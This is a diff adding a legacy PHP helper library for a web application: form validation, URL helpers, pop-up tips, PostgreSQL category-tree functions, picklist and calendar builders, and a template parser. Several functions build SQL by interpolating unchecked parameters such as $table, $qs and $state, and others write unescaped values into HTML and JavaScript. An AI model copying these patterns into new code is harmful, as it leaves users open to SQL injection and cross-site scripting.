+
+ case 'country':
+ global $si_countries_array;
+ if( !isset($si_countries_array[$in]) )
+ $reason = 'not a valid country code';
+ break;
+
+ case 'email':
+ if( preg_match( "/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$/i", $in ) == 0 )
+ $reason = 'not a valid E-Mail address';
+ break;
+
+ case 'creditcard':
+ global $si_cc_verify;
+ $match = FALSE;
+ reset( $si_cc_verify );
+ while( list($k, $v) = each($si_cc_verify) )
+ {
+ if( preg_match( "/".$v."/i", $in ) != 0 )
+ {
+ $match = TRUE;
+ break;
+ }
+ }
+ if( !$match )
+ $reason = 'not a valid credit card number';
+ break;
+
+ case 'date':
+ if( ($t = strtotime($in)) === -1 )
+ $reason = 'not a valid date';
+ else
+ $in = date( 'n/j/Y', $t );
+ break;
+
+ case 'text':
+ break;
+
+ case 'inet':
+ if( preg_match( "/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/i", $in ) == 0 )
+ $reason = 'not a valid IP address or netmask';
+ break;
+
+ default:
+ break;
+
+ }
+ }
+
+ // Check for a required field
+
+ if( $required && $in == '' )
+ $reason .= ($reason != '' ? ' and is ':'' ).'required';
+
+ $GLOBALS[$var_name] = $in;
+ return( $reason );
+
+}
+
+ // Convert data to search engine friendly URL
+
+function data_to_url( $prefix = '' )
+{
+
+ $url = $prefix;
+
+ // Make sure we have at least a prefix and one parameter
+
+ if( ($args = func_get_args()) == 0 || count($args) < 2 )
+ return( false );
+
+ for( $i=1 ; $i<count($args) ; $i++ )
+ $url .= '/'.urlencode(trim($args[$i]));
+
+ return( $url );
+}
+
+
+ // Convert Search Engine Friendly URL to Data
+
+function url_to_data( $url, $start_key ) // Expects additional parameters that define the name of each url parameter
+{
+
+ // Make sure we have valid data
+
+ $args = func_get_args();
+ if( count($args) < 3 )
+ return( false );
+
+ if( ($url=trim($url)) == '' )
+ return( false );
+
+ // If start_key is null, assume key is found and start with first parameter in URL
+
+ $key_found = ( ($start_key=trim($start_key)) == '' );
+
+ // Break out incoming URL and search for start key
+
+ $in = explode( '/', $url );
+ for( $u=0 ; $u<=count($in) ; )
+ if( ($key_found = ( $in[$u++] == $start_key )) )
+ break;
+
+ if( !$key_found )
+ return( false );
+
+ // Stuff remaing data into return array
+
+ if( count($in) < $u )
+ return( false );
+
+ $data = array();
+ $data_found = false;
+ for( $i=2 ; $i<count($args) ; $i++, $u++ )
+ {
+ // Check to see if there's any data supplied at all - It's hard to check otherwise
+ if( $in[$u] != '' )
+ $data_found = true;
+ $data[$args[$i]] = urldecode($in[$u]);
+ }
+
+ if( $data_found )
+ return( $data );
+ else
+ return( false );
+
+}
+
+
+ // Returns Title text with QuickTip Pop-Up support
+
+function quick_tip( $title, $message )
+{
+
+ if( trim($title) == '' || trim($message) == '' )
+ return( false );
+
+ $t = strip_tags( $title ); // Get rid of any HTML tags in title
+
+ $key = md5($title); // Used as the ID of this QuickTip
+
+ return( '<div id="QuickTip_'.$key.'" class="quicktip">
+ <div class="quicktip-titlebar">
+ <a href="javascript:hide_QuickTip(\'QuickTip_'.$key.'\')"><span class="quicktip-close">Close</span></a>
+ <div class="quicktip-title">QuickTip</div>
+ </div>
+ <div class="quicktip-body">
+ <div class="quicktip-fieldname">'.$t.'</div>
+ '.$message.'
+ </div>
+ </div>
+ <iframe id="Shim_QuickTip_'.$key.'" src="javascript:false;" scrolling="no" frameborder="0" class="quickedit"></iframe>
+ <span onClick="show_QuickTip(\'QuickTip_'.$key.'\',event);" class="quicktip-prompt2">'.$title.'</span>' );
+
+}
+
+ // Returns Title text with QuickEdit Pop-Up support - Uses QuickTip Java functions
+
+function quick_edit( $key, $prompt, $form )
+{
+ if( trim($prompt) == '' || trim($form) == '' )
+ return( false );
+
+ $t = strip_tags( $prompt ); // Get rid of any HTML tags in title
+
+ return( '<div id="QuickEdit_'.$key.'" class="quickedit">
+ <div class="quicktip-titlebar">
+ <a href="javascript:hide_QuickTip(\'QuickEdit_'.$key.'\')"><span class="quickedit-close">Close</span></a>
+ <div class="quickedit-title">QuickEdit</div>
+ </div>
+ <div class="quickedit-body">
+ '.$form.'
+ </div>
+ </div>
+ <iframe id="Shim_QuickEdit_'.$key.'" src="javascript:false;" scrolling="no" frameborder="0" class="quickedit"></iframe>
+ <span onClick="show_QuickTip(\'QuickEdit_'.$key.'\',event);" class="quickedit-prompt2">'.$prompt.'</span>' );
+
+}
+
+
+/*=======================================================================
+
+ CATEGORY SUPPORT FUNCTIONS
+
+=======================================================================*/
+
+ // Returns PL/pgSQL category_path support function for specified data table
+
+function category_path_func( $table_name )
+{
+
+ // Stick table name in function
+
+ return( str_replace ( '{TABLE_NAME}', $table_name, "
+
+ /*
+ Function category_path( int )
+
+ Returns a ~ delimited string containing...
+ A string to use for sorting by category, sub-cat, sub-sub-cat, ...
+ A | delimited string of the names of the category hierarchy
+ A | delimited string of the id of each step in the category hierarchy
+
+ Use in a query like...
+
+ SELECT *, cateogory_path(id) FROM table_name;
+
+ */
+
+ CREATE OR REPLACE FUNCTION category_path( int ) RETURNS text AS '
+
+ DECLARE
+ this_node ALIAS FOR $1;
+ node RECORD;
+ sort text := '''';
+ path TEXT := '''';
+ ids TEXT := '''';
+ level INT := 0;
+ children RECORD;
+ child_count INT := 0;
+ sort_fix int := 100000; -- Added to sort numbers to make sure sort is pseudo-numeric
+
+ BEGIN
+ SELECT INTO node * FROM {TABLE_NAME} WHERE id = this_node;
+ sort := node.sort + sort_fix || ''_'' || this_node; -- Makes sure sort is numeric
+ path := node.name;
+ ids := node.id;
+ SELECT INTO children COUNT(id) FROM {TABLE_NAME} WHERE parent = this_node;
+ child_count := children.count;
+ IF FOUND THEN
+ WHILE node.parent > 0 LOOP
+ SELECT INTO node * FROM {TABLE_NAME} WHERE id = node.parent;
+ sort := node.sort + sort_fix || ''_'' || node.id || ''_'' || sort;
+ path := node.name || ''|'' || path;
+ ids := node.id || ''|'' || ids;
+ level := level + 1;
+ END LOOP;
+ END IF;
+
+ -- Note: 0 below is to enforce proper ordering by sort field
+ RETURN sort || ''_0~'' || path || ''~'' || ids || ''~'' || level || ''~'' || child_count;
+
+ END;
+
+ ' LANGUAGE plpgsql;
+
+ " ) );
+
+}
+
+ // Get category node
+
+function cat_get_node( $table, $qs = '' )
+{
+
+ // Get specified nodes list
+
+ $query = category_path_func( $table )
+ ."SELECT *, category_path(id) AS cat_path_data FROM $table ".(trim($qs)!=''?" WHERE $qs":"").";";
+
+ if( !($r = db_auto_get_row( $query, 0, SI_CONN_STR, FALSE ) ) )
+ return FALSE;
+
+ // Process node paths into useable arrays
+
+ $p = explode( "~", $r['cat_path_data'] );
+ $r['cat_fullpath'] = $p[1];
+ $r['cat_names'] = explode( "|", $p[1] );
+ $r['cat_id_path'] = $p[2];
+ $r['cat_ids'] = explode( "|", $p[2] );
+ $r['cat_level'] = $p[3];
+
+ return( $r );
+
+}
+
+ // Get array of selected category nodes
+
+function cat_get_nodes( $table, $qs = '', $order = 'cat_path_data' )
+{
+
+ // Get specified nodes list
+
+ $query = category_path_func( $table )
+ ."SELECT *, category_path(id) AS cat_path_data FROM $table ".($qs!=''?" WHERE $qs":"")." ORDER BY $order;";
+
+ if( !($r = db_auto_get_data( $query, SI_CONN_STR, FALSE) ) )
+ return( FALSE );
+
+ // Process node paths into useable arrays
+
+ $num = count( $r );
+
+ while( list($key, $val) = each($r) )
+ {
+ $p = explode( "~", $r[$key]['cat_path_data'] );
+ $r[$key]['cat_fullpath'] = $p[1];
+ $r[$key]['cat_names'] = explode( "|", $p[1] );
+ $r[$key]['cat_id_path'] = $p[2];
+ $r[$key]['cat_ids'] = explode( "|", $p[2] );
+ $r[$key]['cat_level'] = $p[3];
+ }
+
+
+ return( $r );
+
+}
+
+ // Get array of expanded node hierarchy for menus
+
+function cat_get_expanded_nodes( $table, $id )
+{
+
+ // Always get all top level nodes
+
+ $q = 'parent = 0';
+
+ // If target supplied, get siblings and siblings of all parents
+
+ $expanded = array();
+ if( $id > 0 )
+ {
+ $r = cat_get_node( $table, "id = $id" );
+
+ // For each level up, add to query to get all siblings
+
+ if( $r )
+ foreach( $r['cat_ids'] as $c )
+ {
+ $q .= " OR parent = $c";
+ $expanded[$c] = TRUE;
+ }
+ }
+
+ // Get all selected nodes
+
+ if( !($nodes = cat_get_nodes( $table, $q ) ) )
+ return( FALSE ); // If there's no top level nodes, then quit.
+
+ // Set expanded flags for nodes with expanded children
+
+ reset($nodes);
+ while( list($key, $val) = each($nodes) )
+ $nodes[$key]['expanded'] = $expanded[$val['id']] == TRUE;
+
+ // Make array keys the path data string to sort on
+
+ foreach( $nodes as $n )
+ $list[$n['cat_path_data']] = $n;
+
+ // Sort on those keys
+
+ ksort( $list );
+
+ return( $list );
+
+}
+
+
+ // Get array of an entire category tree from target down
+
+function cat_get_tree( $table, $id )
+{
+
+ // Not written
+
+}
+
+ // Resequence category node siblings
+
+function cat_resequence_siblings( $table, $parent )
+{
+
+ // Get all siblings
+
+ if( !($nodes = db_auto_get_data( "SELECT id, sort FROM $table WHERE parent = $parent ORDER BY sort;", SI_CONN_STR, FALSE ) ) )
+ return( FALSE );
+
+ $query = 'BEGIN;';
+
+ $sort = 10;
+
+ foreach( $nodes as $n )
+ {
+ $query .= "UPDATE $table SET sort = $sort WHERE id = ".$n['id'].";";
+ $sort += 10;
+ }
+
+ $query .= 'COMMIT;';
+
+ if( !db_auto_exec( $query, SI_CONN_STR, FALSE ) )
+ return( FALSE );
+
+ return( TRUE );
+
+}
+
+ // Move a category node
+
+/*
+function cat_move_node( $table, $parent )
+{
+
+ NOT WRITTEN YET
+
+}
+*/
+
+
+ // Delete a category node and optionally its children
+
+
+function cat_delete_node( $table, $id, $method = 'node' )
+{
+ // Check submitted data
+
+ if( empty($table) || empty($id) || $id < 1 )
+ return( FALSE );
+
+ // Get parent of node to be deleted
+
+ if( !($target = db_auto_get_row( "SELECT * FROM $table WHERE id = $id;", 0, SI_CONN_STR, FALSE )) )
+ return( FALSE );
+ $new_parent = $target['parent'];
+
+ // Delete target and reassign all children to parent
+
+ if( !db_auto_exec( "BEGIN;
+ DELETE FROM $table WHERE id = $id;
+ UPDATE $table SET parent = $new_parent WHERE parent = $id;
+ COMMIT;", SI_CONN_STR, FALSE ) )
+ return( FALSE );
+
+ return( TRUE );
+}
+
+
+
+/*=======================================================================
+
+ HIGH LEVEL FUNCTIONS
+
+=======================================================================*/
+
+ // Build a numeric picklist
+
+function build_numeric_picklist( $fieldname, $starting, $ending, $selected="", $option="", $class="" )
+{
+ if( $starting > $ending )
+ return( "*** Picklist generation error: build_numeric_piclist() ***" );
+
+ $r = '<SELECT NAME="'.$fieldname.'"'.($class!=''?'class="'.$class.'"':'').'>
+ ';
+
+ if( strstr( $option, 'blank') )
+ $r .= '<OPTION VALUE=""'.(trim($selected)==''?" SELECTED":"").'>';
+
+ for( $i=$starting ; $i<=$ending ; $i++ )
+ $r .= '<OPTION VALUE="'.$i.'"'
+ .( $i==$selected ? " selected" : "" )
+ .'> '.$i.'</OPTION>
+ ';
+
+ $r .= '</SELECT>';
+
+ return( $r );
+
+}
+
+ // Build a picklist
+
+function build_picklist( $fieldname, $data, $selected, $type = "standard", $options = "", $class="" )
+{
+
+ if( !is_array($data) )
+ return( "<FONT COLOR=\"red\">ERROR: build_picklist() data supplied is not an array for field $fieldname.</FONT>\n" );
+
+ // Set default option status
+
+ $option_blank = $option_order = $option_numeric = $option_descending = $option_multi = FALSE;
+
+ // Scan for supplied options
+
+ if( !empty($options) )
+ {
+ $opt_array = explode_trim( "~", $options );
+ foreach( $opt_array as $opt )
+ {
+ switch( $opt )
+ {
+ case "blank":
+ $option_blank = TRUE;
+ break;
+
+ case "numeric":
+ $option_numeric = TRUE;
+ $option_order = TRUE;
+ break;
+
+ case "alpha":
+ $option_numeric = FALSE; // If it's not numeric, it's alpha
+ $option_order = TRUE;
+ break;
+
+ case "descending":
+ $option_descending = TRUE;
+ break;
+
+ case "ascending":
+ $option_descending = FALSE; // If it's not descending, it's ascending
+ break;
+
+ case "multi":
+ $option_multi = TRUE; // Permit multiple select with CTRL or SHIFT
+ break;
+
+ default:
+ return( "<FONT COLOR=\"red\">Illegal build_picklist() option</FONT>\n" );
+ break;
+ }
+ }
+ }
+
+ if( $option_order )
+ {
+ if( $option_descending )
+ { // Sort Descending
+ if( $option_numeric )
+ arsort( $data, SORT_NUMERIC );
+ else
+ arsort( $data, SORT_STRING );
+ }
+ else
+ { // Sort Ascending
+ if( $option_numeric )
+ asort( $data, SORT_NUMERIC );
+ else
+ asort( $data, SORT_STRING );
+ }
+ }
+
+ if( $option_multi )
+ $str = '<SELECT NAME="'.$fieldname.'[]" MULTIPLE SIZE="4"'.($class!=''?'class="'.$class.'"':'').'>';
+ else
+ $str = '<SELECT NAME="'.$fieldname.'"'.($class!=''?'class="'.$class.'"':'').'>';
+
+ if( $option_blank )
+ $str .= " <OPTION VALUE=\"\">\n";
+
+ switch( $type )
+ {
+ case "simple":
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ if( $option_multi )
+ {
+ $sel = FALSE;
+ if( is_array($selected) )
+ {
+ reset( $selected );
+ foreach( $selected as $s )
+ if( $s == $data[$i] )
+ $sel = TRUE;
+ }
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".($sel?" SELECTED ":"").">".$data[$i]."\n";
+ }
+ else
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".($data[$i]==$selected?" SELECTED ":"").">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ while( list($key, $val) = each($data) )
+ if( $option_multi )
+ {
+ $sel = FALSE;
+ if( is_array($selected) )
+ {
+ reset( $selected );
+ foreach( $selected as $s )
+ if( $s == $key )
+ $sel = TRUE;
+ }
+ $str .= " <OPTION VALUE=\"$key\"".($sel?" SELECTED ":"").">$val\n";
+ }
+ else
+ $str .= " <OPTION VALUE=\"$key\"".($key==$selected?" SELECTED ":"").">$val\n";
+ break;
+ }
+ $str .= "</SELECT>";
+
+ return( $str );
+
+}
+
+function build_picklist_from_string( $fieldname, $data, $selected, $type = "standard", $options = "" )
+ {
+ $x = explode( '~', $data );
+ $array_data = array();
+ foreach( $x as $y )
+ {
+ $z = explode( '^', $y );
+ $array_data[trim($z[0])] = trim($z[1]);
+ }
+ return( build_picklist( $fieldname, $array_data, $selected, $type, $options ) );
+ }
+
+
+ // Build Radio Buttons
+
+function build_radio_buttons( $fieldname, $data, $selected, $separator = " ", $type = "standard", $options = "" )
+{
+
+ // if $data is neither proper array or data string
+
+ if( !is_array($data) )
+ if( ($data = strtoarray($data)) == FALSE )
+ return( "<FONT COLOR=\"red\">ERROR: build_radio_buttons() Improper data supplied for field \"$fieldname\".</FONT>\n" );
+
+ // Set default option status
+
+ $option_blank = $option_order = $option_numeric = $option_descending = $option_after = FALSE;
+
+ // Scan for supplied options
+
+ if( !empty($options) )
+ {
+ $opt_array = explode_trim( "~", $options );
+ foreach( $opt_array as $opt )
+ {
+ switch( $opt )
+ {
+ case 'numeric':
+ $option_numeric = TRUE;
+ $option_order = TRUE;
+ break;
+
+ case 'alpha':
+ $option_numeric = FALSE; // If it's not numeric, it's alpha
+ $option_order = TRUE;
+ break;
+
+ case 'descending':
+ $option_descending = TRUE;
+ break;
+
+ case 'ascending':
+ $option_descending = FALSE; // If it's not descending, it's ascending
+ break;
+
+ case 'after':
+ $option_after = TRUE;
+ break;
+
+ default:
+// return( "<FONT COLOR=\"red\">ERROR: build_radio_buttons() Illegal option \"$opt\".</FONT>\n" );
+ break;
+ }
+ }
+ }
+
+ if( $option_order )
+ {
+ if( $option_descending )
+ { // Sort Descending
+ if( $option_numeric )
+ arsort( $data, SORT_NUMERIC );
+ else
+ arsort( $data, SORT_STRING );
+ }
+ else
+ { // Sort Ascending
+ if( $option_numeric )
+ asort( $data, SORT_NUMERIC );
+ else
+ asort( $data, SORT_STRING );
+ }
+ }
+
+ $str = $sep = '';
+ while( list($key, $val) = each($data) )
+ {
+ $str .= $sep;
+
+ if( !$after )
+ $str .= $val.' ';
+
+ switch( $type )
+ {
+ case "simple":
+ $str .= '<INPUT TYPE="radio" NAME="'.$fieldname.'" VALUE="'.$val.'" '.($val==$selected?" CHECKED ":"").'>';
+ break;
+ case "standard":
+ $str .= '<INPUT TYPE="radio" NAME="'.$fieldname.'" VALUE="'.$key.'" '.($key==$selected?" CHECKED ":"").'>';
+ break;
+ default:
+ break;
+ }
+
+ if( $after )
+ $str .= ' '.$val;
+
+ $sep = $separator;
+ }
+ return( $str );
+}
+
+ // Create a date input form with a link to a pop-up calendar
+
+function calendar_date_select( $default_value, $selected_date, $start_date,
+ $end_date, $form_name, $field_name, $options = "",
+ $no_earlier = "", $class = "" )
+{
+
+ GLOBAL $si_month_array;
+
+ $months = array( 1=>"Jan",2=>"Feb",3=>"Mar",4=>"Apr",5=>"May",6=>"Jun",7=>"Jul",8=>"Aug",9=>"Sep",10=>"Oct",11=>"Nov",12=>"Dec" );
+
+ $start = getdate( $start_date );
+ $end = getdate( $end_date );
+
+ $form = "<script language=\"JavaScript1.2\">
+ <!--
+ // Detect if the browser is IE or not.
+ // If it is not IE, we assume that the browser is NS.
+
+ var IE = document.all?true:false
+
+ // If NS -- that is, !IE -- then set up for mouse capture
+
+// if (!IE) document.captureEvents(Event.MOUSEMOVE)
+
+ // Set-up to use getMouseXY function onMouseMove
+
+// document.onmousemove = getMouseXY;
+
+ // Temporary variables to hold mouse x-y pos.s
+
+ var tempX = 0
+ var tempY = 0
+
+ // Main function to retrieve mouse x-y pos.s
+
+ function getMouseXY(e)
+ {
+ if (IE)
+ { // grab the x-y pos.s if browser is IE
+ tempX = event.clientX //+ document.body.scrollLeft
+ tempY = event.clientY //+ document.body.scrollTop
+ }
+ else
+ { // grab the x-y pos.s if browser is NS
+ tempX = e.pageX
+ tempY = e.pageY
+ }
+
+ // catch possible negative values in NS4
+
+ if (tempX < 0){tempX = 0}
+ if (tempY < 0){tempY = 0}
+
+ // show the position values in the form named Show
+ // in the text fields named MouseX and MouseY
+ // document.Show.MouseX.value = tempX
+ // document.Show.MouseY.value = tempY
+
+ return true;
+ }
+
+ function calWin_".$field_name."()
+ {
+ // Pass values to the calendar
+
+ tempX = 400
+ tempY = 300
+ ";
+ if( ereg( "PICK", $options ) )
+ $form .= " sd = this.document.$form_name.".$field_name."_month.value + '/' + this.document.$form_name.".$field_name."_day.value + '/' + this.document.$form_name.".$field_name."_year.value;
+ ";
+ else
+ $form .= " sd = this.document.$form_name.$field_name.value;
+ ";
+
+ $form .= " var theUrl='".SI_BASE_URL."/glm_apps/calendar.phtml?selected_date=' + sd + '&start_date=$start_date&end_date=$end_date&form_name=$form_name&field_name=$field_name';
+ ";
+
+ // If a "no_earlier" field is specified, have the script check for a date from other specified field and pass it in the URL
+
+ if( $no_earlier != "" )
+ $form .= "
+ theUrl = theUrl + '&no_earlier=' + this.document.$form_name.$no_earlier.value
+ ";
+ $form .= "
+ tempX = tempX - 90;
+ //tempY = tempY - 170;
+
+ if (navigator.appName == 'Netscape')
+ {
+ calWind = window.open (theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=170,height=180,screenx=' + tempX +',screeny=' + tempY,1);
+ }
+ else
+ {
+ calWind = window.open (theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=170,height=180, top=' + tempY +', left=' + tempX,1);
+ }
+
+ calWind.focus();
+ }
+ -->
+ </script>
+ ";
+
+ // Handle default date whether it's a string date or a timestamp
+
+ if( is_numeric($default_value) )
+ {
+ $default_timestamp = $default_value;
+ $default_value = date( 'n/j/Y', $default_value );
+ }
+ else
+ $default_timestamp = strtotime( $default_value );
+
+ $default_month = date( "n", $default_timestamp );
+ $default_day = date( "j", $default_timestamp );
+ $default_year = date( "Y", $default_timestamp );
+
+ $class_tag = $class != '' ? 'CLASS="'.$class.'"' : '' ;
+
+ if( ereg( "PICK", $options ) )
+ {
+ $form .= build_picklist( $field_name."_month", $months, $default_month, '', '', $class );
+ $form .= build_numeric_picklist( $field_name."_day", 1, 31, $default_day, '', $class );
+ if( ereg( "HIDE_YEAR", $options ) )
+ $form .= '<INPUT TYPE="hidden" NAME="'.$field_name.'_year" VALUE="'.$default_year.'" '.$class_tag.'>';
+ else
+ $form .= build_numeric_picklist( $field_name."_year", date("Y"), date("Y",$end_date), $default_year, '', $class );
+ $form .= '<INPUT TYPE="hidden" NAME="'.$field_name.'" '.$class_tag.'>';
+ }
+ else
+ $form .= '<INPUT TYPE="text" NAME="'.$field_name.'" SIZE="10" VALUE="'.$default_value.'" '.$class_tag.'>';
+
+ if( !ereg( "NO_PROMPT", $options ) )
+ $form .= " (month/day/year) ";
+
+ $form .= ' <SCRIPT LANGUAGE="javascript">
+ <!--
+ document.write(\'<a href="javascript:calWin_'.$field_name.'()\"><IMG SRC="'.SI_BASE_URL.'/assets/calendar.gif" BORDER="0" ALT="Calendar"></A>\');
+ -->
+ </SCRIPT>
+ ';
+
+ return($form);
+}
+
+ // Build an HTML calendar with data from the array in each date
+
+function calendar_display( $month, $year, $date_data, $headerinfo='', $monthinfo='' )
+{
+ $MonthNames = array(1=>'January','February','March','April','May','June','July','August','September','October','November','December');
+
+/* This seems to be unnecessary
+
+ $calendar ='<script language="javascript">
+ <!--
+ function winMsger(msg)
+ {
+ calWind = window.open (\'\', \'Calendar\',\'scrollbars=no,toolbar=no,resizable=no,width=230,height=230\',1);
+ calWind.document.write("<HTML><TITLE>Calendar</TITLE></HTML>")
+ calWind.document.write("<body bgcolor=\'#FFFFFF\' leftmargin=\'0\' topmargin=\'0\' marginwidth=\'0\' marginheight=\'0\'>")
+ calWind.document.write(msg)
+ calWind.document.write("</BODY></HTML>")
+
+ calWind.focus()
+ }
+ -->
+ </script>
+*/
+
+ $calendar = '
+ <STYLE TYPE="text/css">
+ <!--
+ th { font-size: 12px; background-color: '. SI_CAL_DATE.'; font-weight: bold; }
+ td.h { font-size: 12px; background-color: '. SI_CAL_HEAD.'; }
+ td.n { font-size: 12px; background-color: '. SI_CAL_NODATE.'; }
+ td.d { font-size: 12px; background-color: '. SI_CAL_TODAY.'; }
+// td.t { font-size: 12px; background-color: '. SI_CAL_DATE .'; }
+ td.t { font-size: 12px; }
+ td.z { font-size: 16px; background-color: '. SI_CAL_TABLE .'; }
+ td.f {}
+ //-->
+ </STYLE>
+
+ <TABLE BORDER="1" CELLPADDING="1" CELLSPACING="0" ALIGN="center" BGCOLOR="'. SI_CAL_TABLE.'" WIDTH="98%" HEIGHT="40%">
+ <TR HEIGHT="20">
+ <TD CLASS="z" COLSPAN="7" ALIGN="center"><B>'.(empty($monthinfo)?$MonthNames[$month].' '.$year:$monthinfo).'</B><br>
+ </TD>
+ </TR>
+ ';
+
+ if( !empty($headerinfo) )
+ {
+ $calendar.= '<TR><TD COLSPAN="7">'.$headerinfo.'
+ </TD></TR>
+ ';
+ }
+
+ $calendar.='<TR ALIGN="center" HEIGHT="15">
+ <TH CLASS="h" width="14%">Sun</TH>
+ <TH CLASS="h" width="14%">Mon</TH>
+ <TH CLASS="h" width="14%">Tue</TH>
+ <TH CLASS="h" width="14%">Wed</TH>
+ <TH CLASS="h" width="14%">Thu</TH>
+ <TH CLASS="h" width="14%">Fri</TH>
+ <TH CLASS="h" width="14%">Sat</TH>
+ </TR>
+ <TR ALIGN="left">
+ ';
+
+ // Display blanks up to first day of the month
+
+ $offset = date( "w", mktime( 0, 0, 0, $month, 1, $year ) );
+ if( $offset > 0 )
+ $calendar .= str_repeat( "<TD CLASS=\"n\"> </TD>\n",$offset );
+
+ // For each day of the month
+
+ $NumberOfDays = date( "t", mktime( 0, 0, 0, $month, 1, $year ) );
+ for( $i=1 ; $i<=$NumberOfDays ; $i++ )
+ {
+ $this_date = mktime( 0, 0, 0, $month, $i, $year );
+ $DayOfWeek = date( "w", $this_date );
+
+ // Start a new row each Sunday, unless it's the 1st of the month
+
+ if( $DayOfWeek == 0 && $i != 1 )
+ {
+ $calendar .= '</TR><TR>';
+ }
+
+ if( !empty($date_data[$i]["color"]) )
+ $color = $date_data[$i]["color"];
+ else
+ $color = SI_CAL_DATE;
+
+ $calendar .= '<TD CLASS="t" ALIGN="left" VALIGN="top" BGCOLOR="'.$color.'">';
+
+ if( !empty($date_data[$i]["link"]) )
+ $calendar .= '<A HREF="'.$date_data[$i]["link"].'">'.$i.'</A>';
+ else
+ $calendar .= $i;
+
+ $calendar .= '<BR>';
+
+ if( !empty($date_data[$i]["cell"]) )
+ $calendar .= $date_data[$i]["cell"];
+
+ $calendar .= "</TD>\n";
+ }
+
+
+ if( ( ($offset == 5) && ($NumberOfDays > 30) ) || ( ($offset == 6) && ($NumberOfDays > 29) ) )
+ {
+ if( 42-$NumberOfDays-$offset > 0 )
+ {
+ $calendar .= str_repeat( "<TD CLASS=\"n\"> </TD>\n",42-$NumberOfDays-$offset );
+ }
+ $calendar .= "</TR>\n";
+ }
+ elseif( ($NumberOfDays != 28) || ($offset > 0) )
+ {
+ if (35-$NumberOfDays-$offset > 0)
+ {
+ $calendar .= str_repeat("<TD CLASS=\"n\"> </TD>\n",35-$NumberOfDays-$offset);
+ $calendar .= "</TR>\n";
+ }
+ }
+
+ $calendar .= "</TABLE>\n";
+ return $calendar;
+}
+
+
+ // Get list of counties in a state
+
+function get_us_counties( $state, $fail_mode, $include_any=FALSE )
+{
+
+ $data = db_auto_get_data( "SELECT county FROM county_state WHERE state_code = '$state' ORDER by county;",
+ "host=ds4.gaslightmedia.com dbname=county user=".SI_DB_USER,
+ $fail_mode, 500 );
+
+ if( isset($include_any) && $include_any == TRUE )
+ $counties[""] = "(Any)";
+
+ if( count($data) )
+ {
+ while( list($key, $val) = each($data) )
+ $counties[$val["county"]] = $val["county"];
+ }
+ else
+ $counties = array( "" => "(none)" );
+
+ return( $counties );
+
+}
+
+ // Parse a "view" file to merge in supplied data
+
+function parse_view( $file_name, $tokens, $show_unused = TRUE )
+ {
+ if( !($f = file_get( $file_name ) ) )
+ {
+ if( trim($file_name) == '' )
+ return( "ERROR: No view file name supplied." );
+ else
+ return( "ERROR: View file '$file_name' not found or unreadable." );
+ }
+ $out = parse_string_view( $f, $tokens, $show_unsued = TRUE );
+ return( $out );
+ }
+
+ // Process Lists
+
+function process_view_lists( $f, $tokens, $pvl_level = 0, $pvl_require_list_data = false )
+ {
+
+ // Process list sections
+
+ $out = "";
+
+ $p = 0;
+ while( !(($p2 = strpos( $f, "<!--{list:", $p )) === FALSE )) // While there are still lists
+ {
+ // Start of a list has been found
+
+ $out .= substr( $f, $p, $p2-$p ); // Add portion up to start of list to output
+ $p = $p2 + 10; // Get past list token
+ if( !($p2 = strpos( $f, "}-->", $p )) || $p2 == $p ) // If there's no }--> following it, then something's wrong
+ return( "ERROR: parse_view() - Missing name of {list:name} tag at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );
+ $listname = substr( $f, $p, $p2-$p ); // Get name of this list
+
+ // If list data is required (no empty lists) and we don't have any
+
+ if( $pvl_require_list_data && ( !isset($tokens[$listname]) || !is_array($tokens[$listname]) ) )
+ {
+ $out = "ERROR: parse_view() - No data supplied for list name \"$listname\".";
+ if( SI_DEBUG_VIEW )
+ $out .= "<P> <P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+ return( $out );
+ }
+
+ $p = $p2 + 4; // Move pointer to start of list
+ if( !($end = strpos( $f, "<!--{/list:".$listname."}-->", $p )) ) // Find end of this list section
+ return( "ERROR: parse_view() - Matching {/list} tag not found at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );
+
+ // Break up list
+
+ unset( $list );
+ $sections = 0;
+ $sep = "";
+ while( ($p2 = strpos( $f, "<!--{sep:".$listname."}-->", $p )) && $p2 < $end ) // While there's still separators in this list
+ {
+ $list[$sections] = substr( $f, $p, $p2-$p ); // Save this segment
+ $p = $p2 + 13 + strlen($listname); // Point past start of separator
+ if( !($p2 = strpos( $f, "<!--{/sep:".$listname."}-->", $p )) || $p2 > $end ) // Find matching {/sep} tag
+ return( "ERROR: parse_view() - Matching {/sep} tag not found at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );
+ if( empty($sep) ) // Only use the first separator
+ $sep = substr( $f, $p, $p2-$p );
+ $p = $p2 + 14 + strlen($listname); // Point past end of {/sep} tag
+ $sections++; // Bump section count
+ }
+
+ $list[$sections] = substr( $f, $p, $end-$p ); // Store last section of list
+ $p = $end + 15 + strlen($listname); // Point past this list
+ $sections++; // Bump section count
+
+ // For each token expected in this list - Compile output
+
+ if( !empty( $tokens[$listname] ) ) // That is if there's any data for the list
+ {
+ $t = count($tokens[$listname]); // Get number of blocks of data
+ $j = 0;
+ foreach( $tokens[$listname] as $to ) // For each block of data supplied
+ {
+ if( !is_array($to) || count($to) == 0 )
+ {
+ $out = "ERROR: parse_view() - List data contains an empty token array for list $listname.";
+ if( SI_DEBUG_VIEW )
+ $out .= "<P> <P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+ return( $out );
+ }
+ $x = replace_tokens( $list[$j%$sections], $to ); // Replace tokens in appropriate section
+ $x = process_view_lists( $x, $to, $pvl_level+1, $pvl_require_list_data ); // Process any sub-lists
+ $out .= cond_replace_tokens( $x, $to ); // Do conditional replacements also
+
+ if( ++$j < $t ) // If there's more data, output sep
+ $out .= $sep;
+ }
+ }
+ }
+
+ $out .= substr( $f, $p ); // Now add remainder of page
+ return( $out );
+ }
+
+
+ // Parse a "view" string to mearge in supplied data
+
+function parse_string_view( $f, $tokens, $show_unused = TRUE )
+ {
